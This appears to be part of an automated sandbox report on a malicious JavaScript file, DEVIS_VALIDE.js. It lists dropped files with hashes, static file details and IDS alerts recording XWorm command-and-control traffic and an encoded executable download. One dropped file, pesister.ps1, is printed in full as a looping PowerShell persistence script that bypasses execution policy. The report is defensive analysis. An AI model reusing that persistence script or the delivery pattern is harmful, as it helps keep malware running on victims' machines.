                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF5001ef.TMP (copy)

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF502277.TMP (copy)

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF5046c8.TMP (copy)

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF50777c.TMP (copy)

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5WFGP9N1ACZHGBAGAM3Q.temp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.721103229474557
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:WPf83CsDyvkvhkvCCtlVWORH8bJVWORH8b/:WPf22zlVKVu
                                                                                                                                        MD5:88AA2D9176D0C16DDEED5F9C2FDA86F2
                                                                                                                                        SHA1:B4382A1FC238C547F648AD81298BB7F5F70AA85C
                                                                                                                                        SHA-256:4C05119BDEEB2FD83DE0C6BB0C867853B5D58D4AB4D6189D7BF171B79E486B25
                                                                                                                                        SHA-512:4301C88A48C9AD71AA27CCB0ECC7E9110659B6DB178B02C9C5B5EE697A673D47B628E896C7048F4DF35371F9275F42558487A7889A267FA772D17364029338BB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....f...3;..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;...5..3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P.............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^tY.P.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^tY.P....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^tY.P....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^tY.P..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^tY.P....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N76D6OTIB6TYA3HBKUF1.temp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7203691224975826
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:gPf83CsDyvkvhkvCCtlVWORH8bJVWORH8b/:gPf22zlVKVu
                                                                                                                                        MD5:72ACA0D89DF5B6B86EFF2CC98F4EFB49
                                                                                                                                        SHA1:B49709A5F729F2D101462898653082F116FD98EB
                                                                                                                                        SHA-256:CDC66283D08577D34517370459FE216F9D6641C712FF4563A2CACC9900B8BFA4
                                                                                                                                        SHA-512:650DC02A511D04831CF2E72FC6A5AE267150701B482A4EE30DB7BD4055411D36B5246463C40FB453E7D912D75E81A0D83D1F57F8236D330B6B8E30B7AB82F0C3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....f...3;..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;......3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P.............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^tY.P.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^tY.P....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^tY.P....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^tY.P..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^tY.P....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNZ9H66UCS265X294YE1.temp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7204700429026287
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:VPf83CsDyvkvhkvCCtlVWORH8bJVWORH8b/:VPf22zlVKVu
                                                                                                                                        MD5:60A60A281AAD8C6B7E0C42FE3E325462
                                                                                                                                        SHA1:448FE1036CADDB7E6CA4932658C9CEE6FE7B2BDD
                                                                                                                                        SHA-256:82B272F9DE8E03D32FDE715E5E3D6A7CB82F3661ADE2712F1E61457690F371F4
                                                                                                                                        SHA-512:8C272B5D428DB65E07B3DEA9F2860F08648634EE2904C2178A025B1A7F7A643067E67358E05B24CD6D6970CF7A33075D42092BF1E48ACBA26D6C80BAE7DCA0B8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....f...3;..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;......3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P.............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^tY.P.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^tY.P....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^tY.P....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^tY.P..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^tY.P....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WM47U45LH6O15P7H61NT.temp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.720820598997691
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:FPf83CsDyvkvhkvCCtlVWORH8bJVWORH8b/:FPf22zlVKVu
                                                                                                                                        MD5:99111762836C5AC4265D723D7C8BEDE9
                                                                                                                                        SHA1:D9061CF4D27D99CD749BFDDEE07BD94E5435846B
                                                                                                                                        SHA-256:E6BE6620D812EDD9E991251A87C429DA603FAA1CADFAEAF98A81201FE7EB42B2
                                                                                                                                        SHA-512:4BC0AFDF4EEA7FF7D69AFCFBC7107A51CC79042D6C3044AD56E7E7AD9FDF24BBF589F85FDEBAA46DB0D352588445F2512EEDC685DD1665DBB9B25A4710CE6DD8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....f...3;..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;...&..3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P.............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^tY.P.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^tY.P....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^tY.P....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^tY.P..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^tY.P....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\pesister.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):231
                                                                                                                                        Entropy (8bit):5.1951859643485525
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:htdL82cb9nytGQO0cZAuwkn2nK1Mc15d55d55d55EALn:ho5nGHpc+pfUrddE6
                                                                                                                                        MD5:65F4820B31C9D42360F56C702666D587
                                                                                                                                        SHA1:662AD441F756A88E979A9AD590E827221995ABC9
                                                                                                                                        SHA-256:8A73932AA73C20F79005B315DC65D75D98B7F187634A66A627D8CA44602079CF
                                                                                                                                        SHA-512:928AC71212ADA85E403CCA3203ACFBE02AE7F1C32513AF9EA7A8415FEB767B33BC36FDD812EEACC0BB3F58DA1B514E33731832F540724C26FC195FEF7151387D
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..While( $true ){..Start-Sleep -Seconds 5 ;..powershell.exe -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'..}

                                                                                                                                        Static File Info

                                                                                                                                        General

                                                                                                                                        File type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                        Entropy (8bit):3.7597967870275233
                                                                                                                                        TrID:
                                                                                                                                        • Text - UTF-16 (LE) encoded (2002/1) 66.67%
                                                                                                                                        • MP3 audio (1001/1) 33.33%
                                                                                                                                        File name:DEVIS_VALIDE.js
                                                                                                                                        File size:203'946 bytes
                                                                                                                                        MD5:9feff1a23db299a128f16bc6091df793
                                                                                                                                        SHA1:2041542fb6ddc259c2888d587f75a06947d6c0dc
                                                                                                                                        SHA256:67c03094daa4c6180373eb864cb86f6ae156bc0481115d826917dd950f8e99d9
                                                                                                                                        SHA512:6de1016f37d3df9d6b428b19076ea34fe2e9db0bbe09aa9bbaa637237b8130b47fd119bb39274ec618b3e4238ccbf53a4e7a562e2c9c714b73c6392a6a1102c2
                                                                                                                                        SSDEEP:3072:AW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+3WXt+NWXt+NWXt+NWXt+NWXt+NWXC:W
                                                                                                                                        TLSH:9B14413E13FD6284B5F34BAD761B11B05677B9696E3F01890076620C0EF2E40ADA5BB7
                                                                                                                                        File Content Preview:.././. .L.i.n.h.a. .1.:. .F.u.n.................o. .p.a.r.a. .s.o.m.a.r. .d.o.i.s. .n.........m.e.r.o.s....././. .L.i.n.h.a. .1.:. .F.u.n.................o. .p.a.r.a. .s.o.m.a.r. .d.o.i.s. .n.........m.e.r.o.s....././. .L.i.n.h.a. .1.:. .F.u.n............

                                                                                                                                        File Icon

                                                                                                                                        Icon Hash:68d69b8bb6aa9a86

                                                                                                                                        Network Behavior

                                                                                                                                        Suricata IDS Alerts

                                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                        2024-11-20T11:06:16.473510+01002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.449732188.114.97.3443TCP
                                                                                                                                        2024-11-20T11:06:25.302670+01002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.449735188.114.97.3443TCP
                                                                                                                                        2024-11-20T11:06:28.350868+01002020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1164.235.43.128443192.168.2.449740TCP
                                                                                                                                        2024-11-20T11:06:28.351122+01002057635ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound164.235.43.128443192.168.2.449740TCP
                                                                                                                                        2024-11-20T11:06:28.351122+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)164.235.43.128443192.168.2.449740TCP
                                                                                                                                        2024-11-20T11:06:30.279287+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449745188.114.97.3443TCP
                                                                                                                                        2024-11-20T11:06:30.279287+01002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.449745188.114.97.3443TCP
                                                                                                                                        2024-11-20T11:06:38.436081+01002853685ETPRO MALWARE Win32/XWorm Checkin via Telegram1192.168.2.449747149.154.167.220443TCP
                                                                                                                                        2024-11-20T11:06:44.439264+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:46.947582+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:46.947582+01002852874ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M21178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:48.669002+01002853192ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:06:48.990965+01002853191ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:49.466115+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:54.489860+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:57.034266+01002855924ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:06:57.362156+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:06:57.371514+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:06:59.437255+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:04.456968+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:09.440499+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:11.197817+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:11.199690+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:07:14.437605+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:16.937308+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:16.937308+01002852874ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M21178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:19.447936+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:24.442487+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:25.336716+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:25.384167+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:07:29.439700+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:34.451068+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:38.894734+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:38.896741+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:07:39.489750+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:44.607133+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:46.958639+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:46.958639+01002852874ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M21178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:47.672058+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:47.674648+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:07:49.441933+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:54.439189+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:07:59.441482+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:01.523369+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
                                                                                                                                        2024-11-20T11:08:01.527072+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.449749178.73.218.67000TCP
                                                                                                                                        2024-11-20T11:08:04.443474+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes1178.73.218.67000192.168.2.449749TCP
